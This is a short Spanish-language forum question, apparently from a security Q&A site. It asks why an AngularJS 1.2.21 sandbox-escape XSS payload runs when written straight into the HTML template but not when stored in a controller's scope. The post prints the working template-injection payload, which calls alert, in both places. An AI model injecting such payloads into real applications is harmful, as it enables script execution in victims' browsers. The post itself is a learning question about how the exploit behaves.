Angular XSS no evaluado

2

Usando una versión anterior de AngularJS: 1.2.21 del ejemplo, hay algunos playload que pueden generar un XSS.

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

Pero cuando esta carga útil se almacena en un $scope , no funciona. Hay un ejemplo en vivo en JsBin

Si la carga útil se pasa directamente al HTML, el XSS funciona bien. Pero si la carga útil se pasa del ámbito, no funciona

No entiendo por qué no se ejecuta la segunda carga útil.

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Angular JS</title>
</head>
<body ng-app="jsbin">
  <div ng-controller="DemoCtrl as demo">
    <h1>Hello {{demo.name}}</h1>

     {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert('working if not in scope')"].sort(toString.constructor);}}

  </div>
  <script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.2.21/angular.js"></script>

</body>
</html>

El controlador:

var app = angular.module('jsbin', []);

app.controller('DemoCtrl', function() {
  this.name = 'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);';
});
    
pregunta mpgn 20.05.2016 - 15:25
fuente

0 respuestas

Lea otras preguntas en las etiquetas